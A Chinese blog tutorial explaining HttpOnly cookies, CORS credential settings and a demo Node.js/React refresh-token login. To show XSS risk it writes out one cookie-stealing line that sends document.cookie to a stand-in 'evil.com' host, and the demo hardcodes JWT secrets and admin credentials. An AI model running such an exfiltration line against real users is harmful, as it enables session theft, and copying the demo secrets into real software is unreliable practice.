在前端开发中,我们经常与 Cookie 打交道。它是浏览器最原始的数据持久化方案,被广泛用于记录登录状态、用户偏好等信息。然而,Cookie 也是 XSS 攻击的高发地带,尤其是当我们把敏感信息(如 Token)直接暴露在 document.cookie 中时,风险极高。为了解决这一问题,浏览器支持了一个重要的 Cookie 属性:HttpOnly。它是保障 Web 安全的重要方法,很多前后端分离项目在实现登录、权限控制时,都会用到。
是什么
HttpOnly 是 Cookie 的一个标志属性,它告诉浏览器:
“这个 Cookie 只能通过 HTTP 请求发送到服务器,JavaScript 不准访问它。”
简单来说,它是服务端专用的 Cookie,浏览器在请求时会自动带上它,但 JS 无法通过 document.cookie 访问或修改它。
常见场景:防止 XSS 窃取 Token
在 Web 应用中,如果我们将用户的 access_token 或 refresh_token 存在 localStorage 或普通 Cookie 里,一旦遭遇 XSS 攻击:
1 2
| fetch('https://evil.com/steal?token=' + document.cookie)
|
攻击者就可以窃取用户的 Token,伪装成用户发请求。
如果我们使用 HttpOnly Cookie:
document.cookie 拿不到敏感信息
- 即使被注入了恶意脚本,也无法读取 Token
可以显著提升安全性。(其实其实,也就一点点)
怎么用
HttpOnly Cookie 的关键点不在“如何操作”,而在于“前端请求是否允许携带” + “服务端是否允许接收”。
服务端设置 Cookie
在服务端响应中设置 Cookie,并开启 HttpOnly 属性:
使用 HTTP 头
1
| Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800
|
使用 Express 携带
1 2 3 4 5 6 7
| res.cookie('refresh_token', token, { httpOnly: true, secure: true, sameSite: 'strict', path: '/', maxAge: 7 * 24 * 60 * 60 * 1000 })
|
最佳实践:
- 登录成功时:设置
HttpOnly 的 refresh_token(长期有效)
- 返回响应体中的
access_token(短期有效)
- 前端仅保存
access_token,不保存 refresh_token
前端允许携带 Cookie
在前端发请求时,要显式告诉浏览器:我要带上 Cookie!
以 Axios 为例:
1 2 3 4 5 6
| axios.post('https://api.example.com/login', { username, password }, { withCredentials: true })
|
这个配置会让浏览器:
- 自动接收后端设置的 Cookie(包括 HttpOnly 的)
- 后续请求自动携带这些 Cookie 给后端
跨域请求注意事项
如果你的前后端不是同一个域名(如前端在 localhost:5173,后端在 localhost:3000),需要配置跨域允许携带 Cookie。
服务端必须设置以下响应头:
1 2
| Access-Control-Allow-Origin: https://frontend.example.com Access-Control-Allow-Credentials: true
|
否则:
- 浏览器不会接收服务端返回的 Cookie
- 也不会在请求中自动带上 Cookie
- 就算设置了
withCredentials: true 也无效
局限性
虽然 HttpOnly 能防止 XSS 读取 Cookie,但它不能防止 CSRF(跨站请求伪造),因为:
浏览器会自动携带 Cookie,哪怕请求是由恶意网站发起的。
防范 CSRF 的方法:
- 搭配使用
SameSite=Strict 或 Lax
- 使用 CSRF Token 校验机制
代码实现
场景设定
使用 HttpOnly Cookie 管理 Token(基于 Node.js + React)
我们实现一个最小可运行的登录逻辑:
- 用户登录后,后端返回
access_token,并将 refresh_token 设置为 HttpOnly Cookie
- 后续请求携带
access_token,如果过期,前端请求 /refresh,自动携带 refresh_token 完成续期
后端代码
安装依赖:
1
| npm install express cookie-parser jsonwebtoken cors
|
简化版后端逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| const express = require('express') const jwt = require('jsonwebtoken') const cookieParser = require('cookie-parser') const cors = require('cors')
const app = express() app.use(express.json()) app.use(cookieParser())
app.use(cors({ origin: 'http://localhost:5173', credentials: true }))
const SECRET = 'access-secret' const REFRESH_SECRET = 'refresh-secret'
app.post('/login', (req, res) => { const { username, password } = req.body
if (username === 'admin' && password === '123456') { const accessToken = jwt.sign({ user: 'admin' }, SECRET, { expiresIn: '15s' }) const refreshToken = jwt.sign({ user: 'admin' }, REFRESH_SECRET, { expiresIn: '7d' })
res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: false, sameSite: 'strict', path: '/', maxAge: 7 * 24 * 60 * 60 * 1000 })
return res.json({ access_token: accessToken }) }
res.status(401).json({ message: '用户名或密码错误' }) })
app.post('/refresh', (req, res) => { const token = req.cookies.refresh_token if (!token) return res.status(401).json({ message: '未提供刷新令牌' })
try { const payload = jwt.verify(token, REFRESH_SECRET) const newAccessToken = jwt.sign({ user: payload.user }, SECRET, { expiresIn: '15s' }) res.json({ access_token: newAccessToken }) } catch (err) { res.status(401).json({ message: '刷新失败,请重新登录' }) } })
app.listen(3000, () => console.log('🚀 Server running on http://localhost:3000'))
|
前端代码
配置 Axios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import axios from 'axios'
const api = axios.create({ baseURL: 'http://localhost:3000', withCredentials: true, })
api.interceptors.request.use((config) => { const token = sessionStorage.getItem('access_token') if (token) { config.headers.Authorization = `Bearer ${token}` } return config })
export default api
|
登录逻辑 & 刷新逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import React, { useState } from 'react' import api from './api'
function App() { const [info, setInfo] = useState('')
const login = async () => { const res = await api.post('/login', { username: 'admin', password: '123456', }) sessionStorage.setItem('access_token', res.data.access_token) setInfo('登录成功') }
const getProtectedData = async () => { try { const res = await api.get('/protected') setInfo(res.data.message) } catch (err: any) { if (err.response.status === 401) { try { const refreshRes = await api.post('/refresh') sessionStorage.setItem('access_token', refreshRes.data.access_token) getProtectedData() } catch { setInfo('登录过期,请重新登录') } } } }
return ( <div> <button onClick={login}>登录</button> <button onClick={getProtectedData}>获取受保护数据</button> <p>{info}</p> </div> ) }
export default App
|
逻辑验证
- 启动服务端:
node server.js
- 启动前端(Vite 项目):
npm run dev
- 点击「登录」后会收到
access_token 和后端设置的 refresh_token
- 15 秒后再点击「获取受保护数据」,触发刷新流程
- 如果
refresh_token 过期,将提示重新登录
流程小结
| 步骤 |
行为 |
携带 |
| 登录 |
后端设置 HttpOnly Cookie 和返回 access_token |
access_token (响应体),refresh_token (Cookie) |
| 请求 |
使用 access_token 调用 API |
Authorization: Bearer xxx |
| access_token 过期 |
调用 /refresh |
Cookie 自动携带 refresh_token |
| 刷新成功 |
获取新的 access_token,更新本地存储 |
- |
| 刷新失败 |
清除状态,跳转登录 |
- |
通过这样的设计,我们可以:
- 避免前端保存敏感的 refresh_token
- 防止 XSS 攻击获取登录令牌
- 实现自动续期 + 无感体验
- 保持前后端的逻辑清晰、职责分离